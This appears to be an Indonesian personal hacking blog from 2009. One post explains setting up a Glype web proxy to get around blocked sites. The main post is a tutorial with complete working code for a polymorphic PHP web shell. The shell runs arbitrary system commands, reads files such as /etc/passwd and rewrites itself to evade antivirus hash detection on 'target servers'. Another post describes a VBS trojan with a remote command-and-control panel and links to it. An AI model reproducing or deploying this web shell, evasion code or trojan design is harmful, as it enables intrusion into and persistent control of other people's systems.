WEB PROXY yang saya pilih adalah GLYPE PROXY. Selain mudah diinstall, GLYPE PROXY juga sangat mudah di edit maupun di customize. Sehingga tidak akan terlalu memusingkan anda untuk menginstallnya.

Pertama downloadlah dahulu GLYPE PROXY di alamat berikut ini :
http://downloadwho.com/file/05b88d

Setelah didownload, extraclah file glype-1.4-11.zip ke harddisk anda terlebih dahulu.
Proses extrac akan menghasilkan sebuah direktory bernama Glype-1.1 dengan beberapa subdirektori didalamnya.

Dari dalam Subdirektori Extras, terdapat file admin.php. Copylah file tersebut dan masukkan kedalam direktori Upload.

Lalu, sekarang uploadlah direktori UPLOAD ke dalam server hostingan anda. Dan jangan lupa rename direktori UPLOAD dengan nama apapun yang lebih mudah diingat, misalnya : WEBPROXY.

Setelah proses upload berhasil, coba untuk membuka WEB PROXY tersebut di server anda.
Misalnya saya menginsall di direktori WEBPROXY, server WENEEDSECURE.ORG -maka saya mengetesnya di
http://www.weneedsecure.org/webproxy

Jika halaman GLYPE PROXY sudah muncul, ini berarti proses install telah berhasil. Dan sekarang perlu sedikit lagi customisasi.

Sebelumnya, setelah FILE PERMISSION di subdirektori INCLUDES/SETTINGS.PHP menjadi 777. Selain itu, juga ubah PERMISSION di subdirektori TMP.

Sekarang, coba buka admin.php di root GYLPE DIRECTORY ANDA, misalnya : /webproxy/admin.php
Seharusnya sebuah halaman login akan muncul sekarang. Masukkan username admin dan passwordnya terserah anda. INGAT, SIMPANLAH DATA LOGIN ANDA INI.

Setelah masuk ke dalam Admin Area, anda bisa mencustomnya lebih jauh disini. Seperti Footer untuk WEB PROXY anda, atau mengatur CACHE dan LOGSnya. Bahkan anda pun bisa mengganti themes WEB PROXY anda dengan themes yang banyak bertebaran di Internet. Silahkan googling dengan keyword GYLPE PROXY THEMES.

Setelah semua proses customisasi selesai anda sudah bisa mencoba WEB PROXY anda. Coba sekarang buka /webproxy dan ketiklah WWW.CMYIP.COM dan lihat apakah IP ADDRESS anda sudah berubah sekarang.

Jika sudah, maka seluruh konfigurasi telah bekerja dengan baik. Dan silahkan membypass web - web yang diblokir.

Untuk contoh silahkan kunjungi :

http://www.weneedsecure.org/webproxy



Salam,
Judotens M.B

Kamis, 14 Mei 2009

Membuat script PHP SHELL yang berpolymorphic untuk server target

Akhirnya setelah vakum beberapa bulan saya sempat menulis artikel di blog ini lagi. Topik yang saya bahas kali ini ialah PHP programming yang berguna untuk anda yang memiliki backdoor di server target.

Saya tidak akan menjelaskan bahasan tentang PoC atau proof of concept serangan, atau bagaimana caranya mendapatkan akses sehingga bisa memasang PHP SHELL di server. Tapi saya hanya ingin membahas bagaimana menciptakan script PHP SHELL yang lebih sukar untuk dideteksi oleh antivirus di server web.


PHP SHELL ialah sebuah injection script di server website yang berguna untuk mendapatkan akses shell. Dengan sebuah shell kita bisa mendapatkan akses File I/O, database, atau bahkan sistem layaknya seperti hak seorang admin dalam mengelola websitenya. Karena begitu berbahayanya sebuah PHP SHELL di server, biasanya para root mematikan fungsi - fungsi penting PHP yang memiliki fungsi bumerang bagi servernya, seperti fungsi system(). Bahkan antivirus khusus server web pun menjadikan PHP SHELL sebagai target operasi utamanya, selain berbagai macam rootkit backdoor yang lainnya.

Pada umumnya root menggunakan antivirus untuk menscan sistem dan mencari berbagai file yang memiliki hash MD5 berbahaya. Hash MD5 layaknya sebuah sidik jari pada sebuah file. Setiap konten file yang berbeda akan selalu memiliki hash MD5 yang berbeda. Oleh karena itu bisa dibayangkan jika sample PHP SHELL milik anda sudah dimiliki seorang root, maka dia dapat dengan mudah mencari seluruh PHP SHELL yang sudah ditanam diserver dan segera menghapus -bahkan membloknya dari white list running process. Semua ini dilakukan hanya dengan bermodalkan sidik jari PHP SHELL kita. Menyebalkan bukan?hehehe

Lalu bagaimanakah caranya agar sebuah script (apapun itu, tidak hanya PHP SHELL saja) bisa bertahan lebih lama di server target? Bagaimana caranya agar contoh PHP SHELL milik kita yang telah dimiliki admin tidak bisa digunakan dengan mudah untuk mencari lokasi script - script tersebut ditanam?

Polymorphic jawabannya.

Menurut simple saya, polymorphic code adalah sebuah teknik mutasi kode yang dilakukan oleh kode itu sendiri dan berfungsi untuk menyamarkan diri dengan selalu mengubah konten kode yang secara otomatis juga mengubah sidik jari / HASH dari kode tersebut.

Contoh kasus : Saya telah menanam ratusan PHP SHELL di server target dan sialnya, salah satu lokasi PHP SHELL saya telah diketahui oleh root. Maka dengan mudah seorang root akan mencari hash PHP SHELL saya, lalu mencari seluruh file di server yang memiliki hash sama. Nah, dengan PHP SHELL yang dilengkapi polymorphic, hash file yang dimiliki oleh root sudah pasti berbeda dengan ratusan PHP SHELL yang tersebar diservernya, WALAUPUN PADA DASARNYA SELURUH PHP SHELL YG SAYA TANAM IALAH FILE YANG SAMA. Jadi, langkah root untuk mengejar ratusan PHP SHELL lainnya akan jauh lebih sulit, apalagi jika sang root tidak memiliki kemampuan menganalisis kode PHP SHELL kita yang dienkripsi.

Misalnya mini php shell (shell.php) saya seperti ini :


<?
$shell_cmd = $_REQUEST['cmd'];
$shell_file = $_REQUEST['file'];
if ($shell_cmd == 'about') { echo 'PHP SHELL BUATAN JUDOTENSLAB\nVersi 1.0.0'; }
elseif ($shell_cmd == 'readfile') { echo file_get_contents($shell_file); }
elseif ($shell_cmd == 'phpinfo') { phpinfo(); }
else { system($shell_cmd); }
?>


Keterangan fungsinya :


/shell.php?cmd=about
> memunculkan versi php shell (biasanya utk kepentingan update otomatis)

/shell.php?cmd=readfile&file=/etc/passwd
> membaca isi file /etc/passwd di server

/shell.php?cmd=phpinfo
> menampilkan PHPINFO() yang merisikan informasi detil tentang PHP dan server web

/shell.php?cmd=ls -all
> melisting isi work direktori di server


Secara struktur kode, script di atas memiliki 6 string dan 2 nama variabel :

String Array : ('cmd', 'file', 'about', 'PHP SHELL BUATAN JUDOTENSLAB\nVersi 1.0.0', 'readfile', 'phpinfo')
Nama Variable : $shell_cmd dan $shell_file (variabel dengan prefix awalan $shell_ )

Pada kedua kunci utama inilah kita perlu enkripsi dan mutasi kode.
Mengapa? Karena biasanya sebuah string maupun nama variable lebih gampang dicari menggunakan teknik pendekatan konten oleh antivirus. Sehingga tugas kita meminimalisasi hasik pencarian dengan teknik seperti ini dengan cara mengenkripsi dan memutasikan kodenya.

Berikut saya lampirkan kode encrypt/decrypt string sederhana :



function shell_en($str){
global $shell_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}

function shell_de($str){
global $shell_key;
$str = base64_decode($str);
$result = '';
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}



Dan berikut kode polymorphic sederhana yg dibuat berdasarkan struktur kode php shell saya di atas :



function polymorphic() {
global $shell_path, $shell_sess, $shell_morphic;
$shell_tmp = file_get_contents($shell_path);
$shell_tmc = str_replace("shell_path","refresh",$shell_tmp);
$shell_tmp = str_replace($shell_morphic, "sess".$shell_sess."_", $shell_tmc);
$shell_tmp = str_replace("refresh","shell_path",$shell_tmp);

$fh = fopen($shell_path, 'w') or die(core_de($shell_string[6]));
fwrite($fh, $shell_tmp);
fclose($fh);
}


Langkah - langkah pembentukan kode :
1. Tentukan key untuk enkripsi anda dan simpan di variabel $shell_key, misalnya :
$shell_key = 'rahasia';

2. Enkripsi seluruh string utama yang anda gunakan di kode dengan memanggil fungsi shell_en('stringanda'), misal hasilnya seperti ini :



$shell_string = array('xN/F','x9vNzQ==','wtTQ3dU=','sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=','09fCzMfc1cY=','0drR0c/Z2A==');


3. Tentukan string yang selalu acak untuk memutasi kode dan simpan di variabel $shell_sess, misalnya :


$shell_sess = $_SERVER['REQUEST_TIME']; // mendapatkan string acak dari waktu request http

Berikut kode utuh setelah shell.php saya bubuhkan fungsi enkripsi dan polymorphic



<?
error_reporting(0); // mematikan error notification di kode PHP
$shell_morphic = 'shell_';
$shell_path = $_SERVER['SCRIPT_FILENAME']; // mendapatkan nama file
$shell_key = 'rahasia';
$shell_sess = $_SERVER['REQUEST_TIME'];
$shell_string = array('xN/F','x9vNzQ==','wtTQ3dU=','sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=','09fCzMfc1cY=','0drR0c/Z2A==');
$shell_cmd = $_REQUEST[shell_de($shell_string[0])]; // mengambil request field cmd
$shell_file = $_REQUEST[shell_de($shell_string[1])]; // mengambil request field file

if ($shell_cmd == shell_de($shell_string[2])) { echo shell_de($shell_string[3]); }
elseif ($shell_cmd == shell_de($shell_string[4])) { echo file_get_contents($shell_file); }
elseif ($shell_cmd == shell_de($shell_string[5])) { phpinfo(); }
else { system($shell_cmd); }

function shell_en($str){
global $shell_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}

function shell_de($str){
global $shell_key;
$str = base64_decode($str);
$result = '';
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}

function polymorphic() {
global $shell_path, $shell_sess, $shell_morphic;
$shell_tmp = file_get_contents($shell_path);
$shell_tmc = str_replace("shell_path","shell_path",$shell_tmp);
$shell_tmp = str_replace($shell_morphic, "sess".$shell_sess."_", $shell_tmc);
$shell_tmp = str_replace("shell_path","shell_path",$shell_tmp);

$fh = fopen($shell_path, 'w') or die(core_de($shell_string[6]));
fwrite($fh, $shell_tmp);
fclose($fh);
}
polymorphic();
?>



Sekarang silahkan coba script tersebut di server target anda, dan coba perbedaannya dengan ketika kode setelah dieksekusi :



<?
error_reporting(0); // mematikan error notification di kode PHP
$sess1242301251_morphic = 'sess1242301251_';
$sess1242301251_path = $_SERVER['SCRIPT_FILENAME']; // mendapatkan nama file
$sess1242301251_key = 'rahasia';
$sess1242301251_sess = $_SERVER['REQUEST_TIME'];
$sess1242301251_string = array('xN/F','x9vNzQ==','wtTQ3dU=','sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=','09fCzMfc1cY=','0drR0c/Z2A==');
$sess1242301251_cmd = $_REQUEST[sess1242301251_de($sess1242301251_string[0])]; // mengambil request field cmd
$sess1242301251_file = $_REQUEST[sess1242301251_de($sess1242301251_string[1])]; // mengambil request field file

if ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[2])) { echo sess1242301251_de($sess1242301251_string[3]); }
elseif ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[4])) { echo file_get_contents($sess1242301251_file); }
elseif ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[5])) { phpinfo(); }
else { system($sess1242301251_cmd); }

function sess1242301251_en($str){
global $sess1242301251_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($sess1242301251_key, ($i % strlen($sess1242301251_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}

function sess1242301251_de($str){
global $sess1242301251_key;
$str = base64_decode($str);
$result = '';
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($sess1242301251_key, ($i % strlen($sess1242301251_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}

function polymorphic() {
global $sess1242301251_path, $sess1242301251_sess, $sess1242301251_morphic;
$sess1242301251_tmp = file_get_contents($sess1242301251_path);
$sess1242301251_tmc = str_replace("sess1242301251_path","sess1242301251_path",$sess1242301251_tmp);
$sess1242301251_tmp = str_replace($sess1242301251_morphic, "sess".$sess1242301251_sess."_", $sess1242301251_tmc);
$sess1242301251_tmp = str_replace("sess1242301251_path","sess1242301251_path",$sess1242301251_tmp);

$fh = fopen($sess1242301251_path, 'w') or die(core_de($sess1242301251_string[6]));
fwrite($fh, $sess1242301251_tmp);
fclose($fh);
}
polymorphic();
?>


Sudah berubah bukan? Dan struktur kode ini akan selalu berubah ketika kode tersebut dipanggil. Yap, kini anda telah memiliki polymorphic php shell sendiri!

Jika anda ingin PHP SHELL ini lebih privat, maka tentukan $shell_key pribadi anda dan enkripsi seluruh string tadi dengan $shell_key anda. Setelah itu gantilah baris
$shell_key = 'rahasia'; menjadi $shell_key = $_REQUEST['key'];

dengan begitu, maka setiap pemanggilan shell harus menyertakan key enkripsi anda dalam field request, jika keynya tidak sah maka php shell pun tidak akan berfungsi karena proses dekripsinya gagal.
Contoh pemanggilan privat php shellnya :



/shell.php?key=rahasia&cmd=about

coba anda bandingkan dengan pemanggilan biasa seperti ini :
/shell.php?cmd=about



Semoga artikel ini cukup bermanfaat untuk anda yang sedang mencari referensi tentang PHP SHELL, maupun teknik POLYMORPHIC. Maafkan saya atas gaya bahasa yang agak sukar dimengerti karena keterbatasan daya penjelasan saya.

Silahkan kirim email ke saya jika ingin mempelajari lebih dalam materi tersebut.

Akhir kata, silahkan menikmati sajian saya kali ini dengan kepala dingin anda. Setiap materi pembelajaran ditujukan hanya untuk kepentingan edukasi, dan sama sekali bukan provokatif untuk merusak sistem orang lain.

Use it at your own risk..

Salam,
Judotens M.B

Sabtu, 31 Januari 2009

Membuat Trojan dengan Notepad?Hmm..mari kita coba

Saya baru saja mengulik isi harddisk lama dan ternyata menemukan proyek lama saya yang masih belum terselesaikan. Yap, kisaran Juli 2008 lalu saya menulis sebuah trojan berbasis web yang bertujuan untuk menunjukkan kekuatan notepad yang selama ini dipandang sebelah mata oleh user Windows.

Seperti yang telah diketahui, beberapa waktu lalu seseorang telah menyebar virus Tukul yang awalnya ditulis menggunakan notepad dengan bahasa VBS. Virus tersebut kemudian berkembang biak dan direnovasi oleh seseorang yang kemudian menyebarkannya menjadi bentuk virus exe yang jadi heboh.

Sekarang saya mencoba merilis kode yang pernah saya buat beberapa waktu lalu ini. Dan telah berhasil menjadi prototype trojan VBS yang ampuh untuk sekedar mendapatkan isi harddisk, atau running process di PC korban.


Well, sebenarnya trojan ini masi bisa dikembangkan lebih jauh secara professional, namun semua itu saya serahkan sepenuhnya kepada kalian.

Sekedar gambaran, alur trojan yang saya buat seperti ini :
- VBS di run di PC korban, lalu VBS akan menggunakan ajax untuk melaporkan diri beserta IPnya ke server
- Dari web kontrol panel (server), anda bisa melihat daftar IP yang telah terkena trojan dan melihat IP mana saja yang sedang aktif.
- Silahkan klik masuk untuk mengakses IP tersebut menggunakan Console dr Web
- Setelah masuk ke dalam console, anda bisa mengetikkan perintah2 yang telah ditulis di VBS tadi. Jadi disinilah kalian bisa mengembangkan fungsi - fungsi apa yang bisa dilakukan oleh si Trojan.
- Setiap command yang diberikan akan berstatus PENDING, dan ketika si Trojan aktif dia akan mendownload setiap perintah kemudian mengeksekusinya lalu melaporkan ke server.
- Command yang telah dieksekusi akan berubah status laporannya menjadi Done!

Maaf saya hanya menjelaskan sedikit disini karena terbatasnya waktu. Untuk mencoba lebih jauh silahkan download dan otak - atik sendiri trojan tersebut :

http://otewe.co.cc/trojanvbs -> save menjadi ekstensi .VBS

Kontrol Panel bisa diakses di :
http://otewe.co.cc/aksestrojanvbs

Silahkan berkreasi dengan ide anda, dan bertanggung jawablah atas semua yang anda lakukan.

NB:
+ untuk mengembangkannya cari tutorial dengan keyword "VBS SCRIPTING" dan "HTA SCRIPTING"

KELEMAHAN:
+ belum mengubah registry sehingga tidak akan autorun
+ masih gampang dibunuh menggunakan TASK MANAGER (gunakan trik virus TUKUL untuk mengakalinya)
+ belum dibuat fungsi untuk capture screen (coba kembangkan agar bisa mengirim email/upload file)

KELEBIHAN:
+ sangat jarang (baca: belum pernah) saya melihat trojan menggunakan VBS
+ antivirus tidak akan mendeteksi menggunakan heuristic scan selama anda tidak menggunakan fungsi VBS untuk menghapus FILE *CMIIW


Dilain waktu saya akan mencoba mengulas bagaimana membuat mailbox untuk YM sehingga tampak seperti PSYBNC di IRC..

*CHEERS

Senin, 26 Januari 2009

Saatnya rilis source code YM INVISIBLE DETECTOR

Akhirnya saya sempat mengupdate lagi blog ini di tahun 2009. Hmm, memang belakangan waktu saya tersita penuh untuk sebuah proyek bernama STONEDCOLLEGE, web radio online yang bertemakan sebagai sebuah kampus maya dengan para dosen kritis dan konyol. Radio yang di bangun bersama beberapa rekan sewaktu SMA dulu kini telah memiliki jadwal jam siar teratur langsung dari Studio Cinere, Pondok Indah dan Ciputat mulai dari jam 16:00 - 21:00 WIB.

Saya sangat berharap suatu waktu radio humor ini menjadi teman setia para blogger melakukan aktifitasnya sehari - hari di Internet. Dengan menggunakan collocation server di IIX yang berbandwith tinggi, semoga akses ke STONEDCOLLEGE.COM akan semakin mudah, cepat dan stabil.

Bergeser sedikit ke masalah Keluarga Blogpop, komunitas yang kita semua bangun ini sedang mengalami masa - masa apes. Hahahaha, bagaimana tidak? Sudah dua kali saya melakukan pindah server dari hostingannya pak donatur Panji Suharto sampai ke VPS Solaris saya. Awalnya gejala serangan SPAM dan DdoS yang cukup memberatkan kinerja server. Kemudian setelah saya sadari ternyata plugin WP-O-MATIC, plugin yang membuat situs Keluarga Blogpop bisa melakukan update setiap hari pun ikut - ikutan error. Serangan SPAM dan DdoS telah menghabiskan resource memory yang cukup tinggi sehingga membebani server ketika plugin WP-O-MATIC menjalankan tugasnya sehari - hari. Hal inilah yang memicu lambat dibukanya situs Keluarga Blogpop.

Apesnya lagi, setelah saya pindah server ke VPS Solaris pun terjadi masalah serupa. Ketika anti SPAM dan DdoS telah saya pasang, terjadi masalah di database Keluarga Blogpop. Alhasil, data member dan postinganannya pun terancam hilang. Inilah yang membuat saya memilih untuk mematikan server solaris untuk sementara waktu. Sehingga akibatnya situs Keluarga Blogpop pun tidak bisa diakses terlebih dahulu.

Dilain pihak, saya mendapat sebuah pesan dari Sersan Katim, seorang member Keluarga Blogpop. Beliau menawarkan kerjasama antara Keluarga Blogpop dan dalam penyediaan layanan forum. Sebuah kesempatan sekaligus kebetulan bukan?Beberapa waktu yang lalu saya sempat membahas masalah pembentukan forum Keluarga Blogpop untuk membenahi komunikasi antar member di Keluarga Blogpop. Namun karena satu dan lain hal saya belum sempat merealisasikan ide tersebut sampai kini.

Jadi untuk kalian Keluarga Blogpop yang telah memiliki account di Rumah Blogger, silahkan konfirmasikan ID kalian ke saya atau ke Sersan Katim. Kami akan meneruskan data kalian ke admin RumahBlogger.

Well, akhir kata saya hanya ingin mengucapkan maaf sebesar - besarnya atas beberapa kendala teknis yang sedang terjadi, seperti downnya situs Keluarga Blogpop,serta tidak bisa diaksesnya YM DETEKTOR karena filenya saya letakkan di SPUTNIXSHOP.COM dan kini telah expired.

Oh iya, sebagai janji saya yang terdahulu, saya akan memberikan kode asli isi dari YM DETEKTOR yang telah kalian gunakan. Silahkan kunjungi : http://bacadulu.co.cc/sourcecodeym untuk lebih detilnya.

Ym Detektor.php

*maap gak ngasih direct link, server gw lg down smua.hihihi.
untuk yg ngerti alur scriptnya tolong jangan ketawa yah..hahaahaha, namanya juga trik xP

Cheers!